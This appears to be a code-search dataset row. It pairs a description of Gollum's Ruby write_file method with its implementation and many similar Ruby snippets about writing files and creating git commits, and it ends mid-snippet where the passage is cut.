query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
listlengths 0
101
| negative_scores
listlengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
|---|---|---|---|---|---|---|
Public: Write a new version of a file to the Gollum repo. path The String path where the file will be written. data The new String contents of the page. commit The commit Hash details: :message The String commit message. :name The String author full name. :email The String email address. :parent Optional Gollum::Git::Commit parent to this update. :tree Optional String SHA of the tree to create the index from. :committer Optional Gollum::Committer instance. If provided, assume that this operation is part of batch of updates and the commit happens later. Returns the String SHA1 of the newly written version, or the Gollum::Committer instance if this is part of a batch update
|
def write_file(name, data, commit = {})
write(merge_path_elements(nil, name, nil), data, commit)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update_page(page, name, format, data, commit = {})\n name = name ? ::File.basename(name) : page.name\n format ||= page.format\n dir = ::File.dirname(page.path)\n dir = '' if dir == '.'\n filename = (rename = page.name != name) ? Gollum::Page.cname(name) : page.filename_stripped\n\n multi_commit = !!commit[:committer]\n committer = multi_commit ? commit[:committer] : Committer.new(self, commit)\n\n if !rename && page.format == format\n committer.add(page.path, normalize(data))\n else\n committer.delete(page.path)\n committer.add_to_index(dir, filename, format, data)\n end\n\n committer.after_commit do |index, _sha|\n @access.refresh\n index.update_working_dir(dir, page.filename_stripped, page.format)\n index.update_working_dir(dir, filename, format)\n end\n\n multi_commit ? committer : committer.commit\n end",
"def update_page(page, name, format, data, commit = {})\n name ||= page.name\n format ||= page.format\n dir = ::File.dirname(page.path)\n dir = nil if dir == '.'\n rename = (page.name != name || page.format != format)\n new_path = ::File.join([dir, self.page_file_name(name, format)].compact) if rename\n\n multi_commit = !!commit[:committer]\n committer = multi_commit ? commit[:committer] : Committer.new(self, commit)\n\n if !rename\n committer.add(page.path, normalize(data))\n else\n committer.delete(page.path)\n committer.add_to_index(new_path, data)\n end\n\n committer.after_commit do |index, _sha|\n @access.refresh\n index.update_working_dir(page.path)\n index.update_working_dir(new_path) if rename\n end\n\n multi_commit ? committer : committer.commit\n end",
"def update_page(page, name, format, data, commit = {})\n name ||= page.name\n format ||= page.format\n dir = ::File.dirname(page.path)\n dir = '' if dir == '.'\n index = nil\n sha1 = commit_index(commit) do |idx|\n index = idx\n if page.name == name && page.format == format\n index.add(page.path, normalize(data))\n else\n index.delete(page.path)\n add_to_index(index, dir, name, format, data, :allow_same_ext)\n end\n end\n\n @access.refresh\n update_working_dir(index, dir, page.name, page.format)\n update_working_dir(index, dir, name, format)\n\n sha1\n end",
"def write_page(name, format, data, commit = {})\n index = nil\n sha1 = commit_index(commit) do |idx|\n index = idx\n add_to_index(index, '', name, format, data)\n end\n\n @access.refresh\n update_working_dir(index, '', name, format)\n\n sha1\n end",
"def update(content, message=nil)\n # normalise content\n content = Page.normalise_body(content)\n \n # create subdirectory if needed\n dirname = File.dirname(@filename)\n FileUtils.mkdir_p(dirname) unless File.exist?(dirname)\n \n # Write changes to file\n File.open(@filename, 'w') { |f| f << content }\n \n # Create commit message\n commit_message = tracked? ? \"edited #{@basename.wikify}\" : \"created #{@basename.wikify}\"\n commit_message += ' : ' + message unless message.blank?\n \n # Commit changes\n begin\n $repo.add(@name)\n $repo.commit(commit_message)\n rescue\n nil\n end\n end",
"def overwrite_file(name, data, commit = {})\n write(merge_path_elements(nil, name, nil), data, commit, force_overwrite = true)\n end",
"def write_commit_info(tree, parents, message)\n contents = []\n contents << ['tree', tree].join(' ')\n parents.each do |p|\n contents << ['parent', p].join(' ') if p \n end\n\n name = config_get('user.name')\n email = config_get('user.email')\n author_string = \"#{name} <#{email}> #{Time.now.to_i} #{formatted_offset}\"\n contents << ['author', author_string].join(' ')\n contents << ['committer', author_string].join(' ')\n contents << ''\n contents << message\n \n get_raw_repo.put_raw_object(contents.join(\"\\n\"), 'commit') \n end",
"def commit_files(author: nil, message: nil, parent: nil, files: {})\n # check parameters\n raise \"no author given\" if author.nil?\n raise \"no message given\" if message.nil?\n\n # get parent commit\n if not parent.nil?\n parent = @wiki.commit_for(parent)\n elsif parent.nil? and not @wiki.repo.head.commit.nil?\n parent = @wiki.commit_for(@wiki.repo.head.commit.id)\n end\n\n unless parent.nil?\n log_debug \" checkpoint (parent #{parent})\"\n if parent.id != @wiki.repo.head.commit.id\n log_debug \" (parent #{parent} is not head)\"\n\n # now check version of each file individually, if it has been\n # changed in one of the changes since parent.\n #\n # if so, raise error, else proceed\n\n files.each do |path,contents|\n next if @wiki.repo.log(nil, path, {:since => parent.authored_date}).empty?\n log_debug \" file has changed\"\n raise \"repo has changed\"\n end\n end\n end\n\n options = {\n :message => message,\n :author => author,\n }\n unless parent.nil?\n options[:parent] = parent\n end\n\n committer = Gollum::Committer.new(@wiki, options)\n\n files.each do |path,contents|\n path = path.dup.gsub(/^\\.\\//, '')\n if contents.nil?\n committer.index.delete(path)\n else\n committer.index.add(path, normalize(contents))\n end\n # if wikifile_exists? path, parent\n # log_debug \" U path: #{path}, contents: #{normalize(contents)}\"\n # committer.index.add(path.dup, normalize(contents))\n # else\n # log_debug \" A path: #{path}, contents: #{normalize(contents)}\"\n # dir, name, format = split_path path\n # committer.add_to_index(dir, name, format, contents)\n # end\n end\n\n committer.after_commit do |index, sha|\n log_debug \" after_commit: #{index}, #{sha}\"\n @wiki.clear_cache\n\n files.each do |path,contents|\n path = path.gsub(/^\\.\\//, '')\n #dir, name, format = split_path path\n unless @wiki.repo.bare\n Dir.chdir(::File.join(@wiki.repo.path, \"..\")) do\n if contents.nil?\n @wiki.repo.git.rm(path, :force => true)\n else\n @wiki.repo.git.checkout(path, 'HEAD')\n end\n end\n end\n end\n\n @wiki_manager.add_to_index(@wiki, index, sha, files)\n end\n\n sha = committer.commit\n log_debug \"sha #{sha}\"\n end",
"def commit(message = '', author = User.from_config, committer = author)\n root.write\n\n commit = Commit.new(self)\n commit.tree = root\n commit.parent << head.id if head\n commit.author = author\n commit.committer = committer\n commit.message = message\n commit.write\n\n open(head_path, \"wb\") do |file|\n file.write(commit.id)\n end\n\n @head = commit\n end",
"def commit(message = '', author = nil, committer = nil)\n return if !root.modified?\n\n author ||= default_user\n committer ||= author\n root.save\n\n commit = Commit.new(:repository => self,\n :tree => root,\n :parents => head,\n :author => author,\n :committer => committer,\n :message => message)\n commit.save\n\n write_head_id(commit.id)\n load\n\n commit\n end",
"def commit(message = nil)\n # Write current index back to the repository\n index = @repo.index\n commit_tree = index.write_tree @repo\n\n # Commit message\n message = \"Affected files: #{@affected_files.uniq.join(', ')}\" if message.nil?\n\n # User handling\n user = ENV['USER']\n user = \"cir-out-commit\" if user.nil?\n\n # Commit author structure for git\n commit_author = {\n email: 'cir-auto-commit@nowhere.cz',\n name: user,\n time: Time.now\n }\n\n # And finally commit itself\n Rugged::Commit.create @repo,\n author: commit_author,\n committer: commit_author,\n message: message,\n parents: @repo.empty? ? [] : [ @repo.head.target ].compact,\n tree: commit_tree,\n update_ref: 'HEAD'\n\n # Reset list of files that were changed since last commit\n @affected_files = []\n end",
"def write(content, message, author = nil)\n if !content.respond_to? :read\n content.gsub!(\"\\r\\n\", \"\\n\")\n\treturn if @object && @object.data == content\n end\n\n Wiki.check do |errors|\n errors << :already_exists.t(:path => @path) if new? && Resource.find(@repository, @path)\n errors << :empty_commit_message.t if message.blank?\n end\n\n repository.transaction(message, author && author.to_git_user) do\n content = content.read if content.respond_to? :read # FIXME\n repository.root[@path] = Gitrb::Blob.new(:data => content)\n end\n\n reload\n @commit = repository.log(1, nil).first\n @object = @commit.tree[@path] || raise(NotFound, path)\n @current = true\n end",
"def create path, body, merger = @options[:merger]\n # remove leading space\n body = body.to_s\n data = body.strip.gsub(/^#{body[/^[ \\t]*(?=\\S)/]}/, '') << \"\\n\"\n\n if File.exist? path\n old_digest = Digest::SHA1.digest(File.read(path))\n new_digest = Digest::SHA1.digest(data)\n\n if old_digest == new_digest\n notify :skip, path\n else\n notify :update, path\n cur, old, new = path, \"#{path}.old\", \"#{path}.new\"\n\n FileUtils.cp cur, old, :preserve => true\n File.write new, data\n\n system merger, old, new, cur if merger\n end\n else\n notify :create, path\n FileUtils.mkdir_p File.dirname(path)\n File.write path, data\n end\n end",
"def commit!(message, options={})\n now = Time.now\n \n sha = options.delete(:tree) || tree.write_to(self).at(1)\n parents = options.delete(:parents) || (head ? [head] : [])\n author = options[:author] || self.author\n authored_date = options[:authored_date] || now\n committer = options[:committer] || author\n committed_date = options[:committed_date] || now\n\n # commit format:\n #---------------------------------------------------\n # tree sha\n # parent sha\n # author name <email> time_as_int zone_offset\n # committer name <email> time_as_int zone_offset\n # \n # messsage\n # \n #---------------------------------------------------\n # Note there is a trailing newline after the message.\n #\n lines = []\n lines << \"tree #{sha}\"\n parents.each do |parent|\n lines << \"parent #{parent}\"\n end\n lines << \"author #{author.name} <#{author.email}> #{authored_date.strftime(\"%s %z\")}\"\n lines << \"committer #{committer.name} <#{committer.email}> #{committed_date.strftime(\"%s %z\")}\"\n lines << \"\"\n lines << message\n lines << \"\"\n \n @head = set('commit', lines.join(\"\\n\"))\n grit.update_ref(branch, head)\n \n head\n end",
"def save message\n raise NothingToCommitError if nothing_to_commit?\n @git.index.add_all\n @git.index.write\n usr = {name: @git.config['user.name'],\n email: @git.config['user.email'],\n time: Time.now}\n opt = {}\n opt[:tree] = @git.index.write_tree\n opt[:author] = usr\n opt[:committer] = usr\n opt[:message] = message\n opt[:parents] = unless @git.empty?\n begin\n [@git.head.target].compact\n rescue Rugged::ReferenceError\n []\n end\n else [] end\n opt[:update_ref] = 'HEAD'\n Rugged::Commit.create(@git, opt)\n end",
"def save_file \n Grit.debug = true\n contents = params[:contents]\n message = params[:commit_message]\n @node = Node.new(:name => params[:name], :git_repo_id => params[:git_repo_id], :git_repo_path => params[:git_repo_path])\n save_file_to_disk(contents, @node.abspath)\n stage_and_commit_file(@node.repo_base_path, @node.git_repo_path, message)\n flash[:notice] = \"Created New Version\"\n render :action => :file\n end",
"def update(path, content)\n file = pathname(path)\n\n # fail if path is a dir or similar\n fail FileNotFound unless file.file?\n\n # get rid of CRLFs\n content.gsub!(/\\r\\n?/, \"\\n\")\n\n # don't do anything if the contents are identical\n return if file.read == content\n\n # write, add, commit\n file.write(content)\n git :add, path.shellescape\n git :commit, \"-m 'update #{path}' -- #{path.shellescape}\"\n end",
"def write_to_file(data)\n\t\t\tref = File.join(@root, \"tarrifs_\" + @page[:name])\n\n\t\t\tif File.exists?(ref)\n\t\t\t\tdiff = \"\"\n\t\t\t\tstatus = Open4::popen4(\"diff #{ref} -\") do |pid, stdin, stdout, stderr|\n\t\t\t\t\tstdin.puts data\n\t\t\t\t\tstdin.close\n\t\t\t\t\tdiff = stdout.read\n\t\t\t\tend\n\t\t\t\t#sent mail if content is different\n\t\t\t\tif status != 0\n\t\t\t\t\twrite \"change detected.\"\n\t\t\t\t\tnotify_changed_site(url, diff)\n\t\t\t\tend\n\t\t\tend\n\t\t\tFile.open(ref, \"w\") do |f|\n\t\t\t\tf.puts data\n\t\t\tend\n\t\tend",
"def commit args = {}\n action = :deleted if self.deleted?\n action ||= self.is_new? ? :added : (self.is_changed? ? :updated : :nothing_to_commit) \n args[:skip_part_data] ||= false\n \n unless action.eql?(:nothing_to_commit)\n message = \"#{action} #{name}\"\n message = args[:m] if args[:m] \n if action.eql?(:deleted)\n repo.remove(self.file_name)\n self.history_count += 1\n else\n repo.add(self.file_name)\n end\n\n active_message = self.commit_messages[:most_recent]\n message = \"#{active_message.gsub(message,\"\")}\" unless self.deleted? || active_message.blank? || active_message.eql?(message)\n self.remove_message_from_temp_store(:most_recent) unless active_message.blank?\n \n repo.commit(message)\n self.last_commit = repo.log(self.local_path, :limit => 1).first.to_s\n end\n unless action.eql?(:deleted) \n self.part_count = parts.count\n self.part_count ||= 0 \n update_part_data unless args[:skip_part_data]\n\n self.history_count = self.history.size\n self.history_count = 1 if self.history_count.eql?(0) \n end\n self.save if self.changed?\n \n synchronize unless args[:dont_sync] || self.attributes[\"sync\"].blank? #rather than calling sync.blank? to skip the JSON parsing step.\n return action\n end",
"def write_page(path, format, data, commit = {})\n write(merge_path_elements(nil, path, format), data, commit)\n end",
"def update_file(uri, data, etag = Box.new)\n node = @tree.node_for_path(uri)\n\n # It is possible for an event handler to modify the content of the\n # body, before it gets written. If this is the case, modified\n # should be set to true.\n #\n # If modified is true, we must not send back an ETag.\n modified = Box.new(false)\n data = Box.new(data)\n\n return false unless emit('beforeWriteContent', [uri, node, data, modified])\n\n etag.value = node.put(data.value)\n etag.value = nil if modified.value\n\n emit('afterWriteContent', [uri, node])\n\n true\n end",
"def commit(repopath, file, contents, message)\n # set up repo and index\n repo = Grit::Repo.new repopath\n index = Grit::Index.new repo\n # write file to repo\n fullpath = File.join repopath, file\n File.open(fullpath, 'wb') {|f| f.write contents}\n # commit file\n index.add file, contents\n parent = repo.commits.count > 0 ? [repo.commits.first] : nil\n index.commit message, parent\n end",
"def set_page(path, text, commit_id, email = 'unknown', sline =nil, eline = nil)\n\n cur_head = @repo.commits(@branch, 1).first\n cur_tree = @repo.tree @branch\n\n status = SETPAGE_OK\n\n if commit_id != ''\n # not new file\n\n text_blob = @repo.blob commit_id\n raise \"no path #{path}\" if ! text_blob.is_a? Grit::Blob\n cur_blob = cur_tree / path\n text_blob_data = text_blob.data.force_encoding('utf-8')\n\n if ! sline.nil? && ! eline.nil?\n text = _patch_part(text, text_blob_data, sline, eline)\n end\n\n if cur_blob.id != text_blob.id\n # collision: try append diff\n status = SETPAGE_MERGE_OK\n lmine = 'me'\n lorig = 'original'\n lyour = 'your-concurent-editor'\n newtext, diff3_status = Diff3.diff3(lmine, text,\n lorig, text_blob_data,\n lyour, cur_blob.data.force_encoding('utf-8'))\n\n case diff3_status\n when Diff3::MERGE_COLLISONS\n status = SETPAGE_MERGE_COLLISONS\n\n when Diff3::MERGE_FAIL\n # total fall back (never happens)\n status = SETPAGE_MERGE_DIFF\n diff = Grit::Commit.diff(@repo, text_blob.id, cur_blob.id).map {|d| d.diff}.join\n newtext = text + \"\\n= Collision =\\n{{{\\n#{diff}\\n}}}\\n\"\n end\n text = newtext\n end\n end\n\n index = Grit::Index.new(@repo)\n index.read_tree(cur_tree.id)\n index.add(path, text)\n\n if path =~ /\\.(wiki|txt)$/\n fstline = text.each_line.first.chomp.strip\n comment = \"file: #{path} head: #{fstline}\"\n else\n comment = \"file: #{path}\"\n end\n\n\n comment = comment.force_encoding('ASCII-8BIT')\n\n actor = Grit::Actor.from_string(email)\n\n id = index.commit(comment, parents: [cur_head], actor: actor, last_tree: cur_head, head: @branch)\n return status\n end",
"def commit(newrevision, content_io=nil)\n if not get_indexfile_with_revision(newrevision).nil?\n raise \"Committing already-existing revision: #{newrevision} for #{@fname}\"\n end\n if content_io.nil?\n compress_file_lines = Deflate.deflate(File.read(@fname))\n else\n cont = content_io.read\n compress_file_lines = Deflate.deflate(cont)\n end\n\n # append current file fname to datafile\n length = IO.readlines(@datafile).size\n\n File.open(@datafile, \"a\") do |append|\n append.puts compress_file_lines\n end\n length = IO.readlines(@datafile).size - length\n\n # new version is the old version plus 1\n # new offset is the last length + last offset\n parse_last_line = parse_indexfile_line get_indexfile_with_line(-1)\n new_offset = parse_last_line[1] + parse_last_line[2]\n\n File.open(@indexfile, \"a\") do |f|\n index_write_row(f, newrevision.to_s,\n new_offset.to_s, length.to_s)\n end\n end",
"def commit(author, message)\n GIT.add relative_path\n GIT.commit message, :author => \"#{ author.name } <#{ author.email }>\"\n end",
"def update\n @resource = params[:content]\n\n\t\tif params[:dir_path] == \"/\"\n\t\t\tparams[:dir_path]=\"\"\n\t\tend\n\n\t\tfile_path = \"#{params[:dir_path]}/#{params[:filename]}\"\n\n if File.open(file_path, 'w') {|f| f.write(params[:content]) }\n\t\t\tDir.chdir(params[:dir_path])\n\t\t\t@git = Git.init()\n\t\t\tGitHelper.commitAll(@git, params[\"comment\"])\n\n\t\t\trender json: {success: \"file successfully uploaded\"}\n else\n render json: { error: \"SOMETHING WENT WRONG SAVING RESOURCE\" }\n end\n end",
"def save message\n Dir.chdir @root do\n cmd = \"git add --all && git commit -m \\\"#{message}\\\"\"\n stdout, stderr, status = Open3.capture3 cmd\n if status != 0\n if /nothing to commit/.match stdout\n raise NothingToCommitError\n elsif /Not a git repository/.match stderr\n raise NotARepositoryError\n else\n raise Error, stderr\n end\n end\n end\n end",
"def add_to_file entry, content\n path = repo_path.join entry\n File.write path, content, :mode => \"a\"\n end",
"def update_commit_message(message)\n ::File.open(commit_message_file, 'w') do |file|\n file.write(message)\n end\n end",
"def update!(**args)\n @author = args[:author] if args.key?(:author)\n @commit_message = args[:commit_message] if args.key?(:commit_message)\n @paths = args[:paths] if args.key?(:paths)\n end",
"def create\n data =params[:data]\n\n resource = ActiveSupport::JSON.decode(data)\n @repo = Repository.find(resource[\"repo_id\"])\n dir_path = resource[\"dirPath\"];\n post = DataFile.save(params['file'], @repo.path+dir_path)\n\n\t\t@git = GitHelper.init(@repo.path, current_user.email, current_user.name)\n\t\tGitHelper.commitAll(@git, resource[\"comment\"])\n\n\t\trender json: {success: \"file uploaded\"}\n end",
"def file(data, path)\n File.open(path, 'w') { |f| f << data }\n end",
"def write_file(path=nil,data=nil)\n if path.class == String && data.class.method_defined?(:j_del) && block_given?\n @j_del.java_method(:writeFile, [Java::java.lang.String.java_class,Java::IoVertxCoreBuffer::Buffer.java_class,Java::IoVertxCore::Handler.java_class]).call(path,data.j_del,(Proc.new { |ar| yield(ar.failed ? ar.cause : nil) }))\n return self\n end\n raise ArgumentError, \"Invalid arguments when calling write_file(path,data)\"\n end",
"def write(data=nil,headers={})\n #raise SyntaxException, \"No data was provided for object '#{@name}'\" if (data.nil?)\n # Try to get the content type\n raise SyntaxException, \"No data or header updates supplied\" if (data.nil? and headers.empty?)\n if headers['Content-Type'].nil?\n type = MIME::Types.type_for(self.name).first.to_s\n if type.empty?\n headers['Content-Type'] = \"application/octet-stream\"\n else\n headers['Content-Type'] = type\n end\n end\n response = self.container.connection.cfreq(\"PUT\",@storagehost,\"#{@storagepath}\",headers,data)\n raise InvalidResponseException, \"Invalid content-length header sent\" if (response.code == \"412\")\n raise MisMatchedChecksumException, \"Mismatched etag\" if (response.code == \"422\")\n raise InvalidResponseException, \"Invalid response code #{response.code}\" unless (response.code == \"201\")\n make_path(File.dirname(self.name)) if @make_path == true\n self.populate\n true\n end",
"def write( path, data )\n FileUtils.mkdir_p( File.dirname( path ) )\n File.open( path, 'w' ) do |f|\n f.write( data )\n end\n \n data.length\n end",
"def put_file(path, data)\n raise NotImplemented\n end",
"def commit(message)\n Dubya.logger.info \"Updating Git repository...\"\n system %(cd #{path} && git commit -am \"#{message}\" && git push)\n end",
"def write(path, data)\n\t\t@connection.write(path, data)\n\tend",
"def commit_with_content(page, content, log = nil)\n escaped_page = escape(page)\n wiki = File.read(File.join(@data_path, \"text\", \".wiki\"))\n dir = File.join(@root, wiki, escaped_page).untaint\n revision = last_revision(page) + 1\n page_path = File.join(@data_path, \"text\", escaped_page).untaint\n FileUtils.mkdir_p(dir)\n FileUtils.rm_f(File.join(dir, \".removed\"))\n\n File.open(page_path, \"w+\") do |file|\n file.write(content)\n end\n FileUtils.cp(page_path, File.join(dir, revision.to_s))\n end",
"def save(commit_msg = nil)\n # Add all changes to index (staging area)\n index = repo.index\n\n # Process config file (if loaded, i.e. may be modified)\n save_config_file(index) if @config\n\n # Process ssh keys (if loaded, i.e. may be modified)\n save_ssh_keys(index) if @ssh_keys\n\n # Write index to git and resync fs\n commit_tree = index.write_tree(repo)\n index.write\n\n author = commit_author.merge(time: Time.now)\n\n opts = {\n parents: [repo.head.target],\n tree: commit_tree,\n update_ref: 'HEAD',\n message: (commit_msg || @settings[:commit_msg]),\n author: author,\n committer: author\n }\n Rugged::Commit.create(repo, opts)\n end",
"def set_data(path, data = \"\", version = -1)\n unless path_exists?(path)\n create_path_recursively(path)\n end\n\n bytes = to_byte_array(data)\n begin\n @zk.set_data(path, bytes, version)\n rescue\n puts \"#$!\"\n end\n end",
"def write data, path\n\t\t\tcontent = \"\"\n\t\t\tfile_type = data.class.to_s\n\n\t\t\tif file_type == 'Array'\n\t\t\t\tdata.each do | line |\n\t\t\t\t\tline.each do | key, val |\n\t\t\t\t\t\tcontent << \"#{key.to_s}=#{val}\\n\"\n\t\t\t\t\tend\n\t\t\t\t\tcontent << \"\\n\"\n\t\t\t\tend\n\n\t\t\telsif file_type == 'Hash'\n\t\t\t\tdata.each do | key, val |\n\t\t\t\t\tcontent << \"#{key.to_s}=#{val}\\n\"\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tpath = File.expand_path path\n\t\t\tFile.open(path, 'w+') do |f|\n\t\t\t\tf.write content\n\t\t\tend\n\t\tend",
"def []=(path, entry)\n raise ArgumentError unless entry && (Reference === entry || GitObject === entry)\n path = normalize_path(path)\n if path.empty?\n raise 'Empty path'\n elsif path.size == 1\n raise 'No blob or tree' if entry.type != :tree && entry.type != :blob\n entry.repository = repository\n @modified = true\n @children[path.first] = entry\n else\n tree = @children[path.first]\n if !tree\n tree = @children[path.first] = Tree.new(:repository => repository)\n @modified = true\n end\n raise 'Not a tree' if tree.type != :tree\n tree[path[1..-1]] = entry\n end\n end",
"def store(path, content, mode = 0o644)\n put_at(parse_path(path), content && repo.data_sha(content), mode)\n end",
"def update\n parse_path\n validate_path!\n\n if params.include?(:dir)\n @path.mkdir\n elsif params.include?(:file)\n @path.mv_from(params[:file].tempfile)\n elsif params.include?(:touch)\n @path.touch\n else\n content = request.body.read\n\n # forcing utf-8 because File.write seems to require it. request bodies are\n # in ASCII-8BIT and need to be re encoded otherwise errors are thrown.\n # see test cases for plain text, utf-8 text, images and binary files\n content.force_encoding('UTF-8')\n\n @path.write(content)\n end\n\n render json: {}\n rescue => e\n render json: { error_message: e.message }\n end",
"def commit(opts = {:use_dirstate => true, :update_dirstate => true})\n valid = false # don't update the DirState if this is set!\n \n commit = ((modified || []) + (added || [])).sort\n remove = removed\n xtra = extra.dup\n branchname = xtra[\"branch\"]\n text = description\n \n p1, p2 = parents.map {|p| p.node }\n c1 = repo.changelog.read(p1) # 1 parent's changeset as an array\n c2 = repo.changelog.read(p2) # 2nd parent's changeset as an array\n m1 = repo.manifest.read(c1[0]).dup # 1st parent's manifest\n m2 = repo.manifest.read(c2[0]) # 2nd parent's manifest\n \n if opts[:use_dirstate]\n oldname = c1[5][\"branch\"]\n tests = [ commit.empty?, remove.empty?, !opts[:force],\n p2 == NULL_ID, branchname == oldname ]\n if tests.all?\n UI::status \"nothing changed\"\n return nil\n end\n end\n \n xp1 = p1.hexlify\n xp2 = p2 == NULL_ID ? \"\" : p2.hexlify\n \n Hook.run_hook :pre_commit\n journal = Amp::Mercurial::Journal.new(:opener => repo.store_opener)\n \n fresh = {} # new = reserved haha i don't know why someone wrote \"haha\"\n changed = []\n link_rev = repo.size\n \n (commit + (remove || [])).each {|file| UI::status file }\n \n # foreach file in commit:\n # commit_file file\n # end\n commit.each do |file|\n versioned_file = self[file]\n fresh[file] = versioned_file.commit :manifests => [m1, m2],\n :link_revision => link_rev,\n :journal => journal ,\n :changed => changed\n \n new_flags = versioned_file.flags\n \n # TODO\n # Clean this shit up\n if [ changed.empty? || changed.last != file, \n m2[file] != fresh[file]\n ].all?\n changed << file if m1.flags[file] != new_flags\n end\n m1.flags[file] = new_flags\n \n repo.staging_area.normal file if opts[:use_dirstate]\n end\n \n # add_manifest_entry\n man_entry, updated, added = *add_manifest_entry(:manifests => [m1, m2],\n :changesets => [c1, c2],\n :journal => journal ,\n :link_rev => link_rev,\n :fresh => fresh ,\n :remove => remove ,\n :changed => changed )\n\n # get_commit_text\n text = get_commit_text text, :added => added, :updated => updated,\n :removed => removed, :user => user ,\n :empty_ok => opts[:empty_ok] ,\n :use_dirstate => opts[:use_dirstate]\n \n # atomically write to the changelog\n # add_changelog_entry\n # for the unenlightened, rents = 'rents = parents\n new_rents = add_changelog_entry :manifest_entry => man_entry,\n :files => (changed + removed),\n :text => text,\n :journal => journal,\n :parents => [p1, p2],\n :user => user,\n :date => date,\n :extra => xtra\n \n \n # Write the dirstate if it needs to be updated\n # basically just bring it up to speed\n if opts[:use_dirstate] || opts[:update_dirstate]\n repo.dirstate.parents = new_rents\n removed.each {|f| repo.dirstate.forget(f) } if opts[:use_dirstate]\n repo.staging_area.save\n end\n \n # The journal and dirstates are awesome. Leave them be.\n valid = true\n journal.close\n \n # if an error and we've gotten this far, then the journal is complete\n # and it deserves to stay (if an error is thrown and journal isn't nil,\n # the rescue will destroy it)\n journal = nil\n \n # Run any hooks\n Hook.run_hook :post_commit, :added => added, :modified => updated, :removed => removed, \n :user => user, :date => date, :text => text,\n :revision => repo.changelog.index_size\n return new_rents\n rescue StandardError => e\n if !valid\n repo.dirstate.invalidate!\n end\n if e.kind_of?(AbortError)\n UI::warn \"Abort: #{e}\"\n else\n UI::warn \"Got exception while committing. #{e}\"\n UI::warn e.backtrace.join(\"\\n\")\n end\n \n # the journal is a vestigial and incomplete file.\n # destroyzzzzzzzzzzz\n journal.delete if journal\n end",
"def updateVersion\n # We add 1 because the next commit is probably one more - though this is a race\n commits = %x[git log #{$0} | grep '^commit ' | wc -l].to_i + 1\n vers = \"1.%0.3d\" % commits\n\n t = File.read($0)\n t.gsub!(/^MYVERSION = '(.*)'$/, \"MYVERSION = '#{vers}'\")\n bak = $0+'.bak'\n File.open(bak,'w') { |f| f.puts t }\n perm = File.stat($0).mode & 0xfff\n File.rename(bak,$0)\n File.chmod(perm,$0)\n exit\nend",
"def notebook_commit(revtype, notebook, user, message)\n return nil unless GalleryConfig.storage.track_revisions\n if GalleryConfig.storage.database_notebooks\n commit_id = Digest::SHA1.hexdigest(notebook.content + user.user_name + message + notebook.uuid + DateTime.current.to_s)\n notebookFile = NotebookFile.new(save_type: \"revision\", content: notebook.content, uuid: notebook.uuid)\n else\n commit_id = GitRepo.add_and_commit(notebook, message)\n end\n rev = Revision.from_notebook(notebook, revtype, commit_id, user)\n rev.save\n if GalleryConfig.storage.database_notebooks\n notebookFile.revision_id = rev.id\n notebookFile.save\n end\n commit_id\n end",
"def write_entry(index_file, entry, journal, data)\n curr = self.size - 1\n \n node_map[entry.last] = curr\n \n link = entry.link_rev\n data_file = index_file[0..-3] + \".d\"\n \n entry = pack_entry entry, link\n \n data_file_handle = open(data_file, \"a\")\n index_file_handle = open(index_file, \"a+\")\n \n journal << {:file => data_file, :offset => offset}\n journal << {:file => index_file, :offset => curr * entry.size}\n \n data_file_handle.write data[:compression] if data[:compression].any?\n data_file_handle.write data[:text]\n \n data_file_handle.flush\n index_file_handle.write entry\n end",
"def fast_export_commit(time)\n file_mark, file_text = fast_export_file\n stamp = fast_export_timestamp(time)\n parent = @commit_mark || initial_ref\n reset = @commit_mark ? '' : \"reset #{branch}\\n\"\n @commit_mark = next_mark\n return file_text + <<COMMIT\n#{reset}commit #{branch}\nmark #{@commit_mark}\nauthor #{fast_export_user} #{stamp}\ncommitter #{fast_export_user} #{stamp}\n#{fast_export_data 'Yay, a commit!'}\nfrom #{parent}\nM 100644 #{file_mark} yay_a_file.txt\nCOMMIT\nend",
"def commit(name, message)\n git = git(name)\n\n git.config('user.name', GIT_AUTHOR[:name])\n git.config('user.email', GIT_AUTHOR[:email])\n\n git.add(all: true)\n git.commit(message)\n end",
"def push_file(path, filedata)\n @bridge.push_file(path, filedata)\n end",
"def push_file(path, filedata)\n @bridge.push_file(path, filedata)\n end",
"def set_version(version, rootdir = Dir.pwd, options = {})\n exit_status = 0\n type = (options[:type]) ? options[:type] : FalkorLib.config[:versioning][:type]\n source = (options[:source]) ? options[:source] : FalkorLib.config[:versioning][:source][ type ]\n versionfile = File.join( rootdir, source[:filename] ) unless source[:filename].nil?\n major, minor, patch = major(version), minor(version), patch(version)\n #tocommit = \"\"\n case type\n when 'file'\n info \"writing version changes in #{source[:filename]}\"\n File.open(versionfile, 'w') { |f| f.puts version } #if File.exist? ( versionfile )\n when 'gem'\n info \"=> writing version changes in #{source[:filename]}\"\n File.open(versionfile, 'r+') do |f|\n text = f.read\n text.gsub!(/^(\\s*)MAJOR\\s*,\\s*MINOR,\\s*PATCH\\s*=\\s*(\\d+)\\s*,\\s*(\\d+)\\s*,\\s*(\\d+)(.*)$/,\n '\\1' + \"MAJOR, MINOR, PATCH = #{major}, #{minor}, #{patch}\" + '\\5')\n f.rewind\n f.write(text)\n end\n when 'puppet_module'\n info \"=> writing version changes in #{source[:filename]}\"\n metadata = JSON.parse( IO.read( versionfile ) )\n metadata[\"version\"] = version\n File.open(versionfile, \"w\") do |f|\n f.write JSON.pretty_generate( metadata )\n end\n #exit 1\n end\n if FalkorLib::Git.init?(rootdir)\n filelist = FalkorLib::Git.list_files( rootdir )\n Dir.chdir( rootdir ) do\n next if source[:filename].nil?\n unless filelist.include?( source[:filename] )\n warning \"The version file #{source[:filename]} is not part of the Git repository\"\n answer = ask(\"Adding the file to the repository? (Y|n)\", 'Yes')\n next if answer =~ /n.*/i\n exit_status = FalkorLib::Git.add(versionfile, \"Adding the version file '#{source[:filename]}', inialized to the '#{version}' version\" )\n next\n end\n run %( git diff #{source[:filename]} )\n answer = ask(cyan(\"=> Commit the changes of the version file to the repository? (Y|n)\"), 'Yes')\n next if answer =~ /n.*/i\n run %( git commit -s -m \"bump to version '#{version}'\" #{source[:filename]} )\n exit_status = $?.to_i\n # if (type == 'gem' && File.exists?(File.join(rootdir, 'Gemfile')) )\n # run %{\n # sleep 2\n # bundle update falkorlib\n # git commit -s -m \"Update Gemfile.lock accordingly\" Gemfile.lock\n # } if command?( 'bundle' )\n # end\n end\n 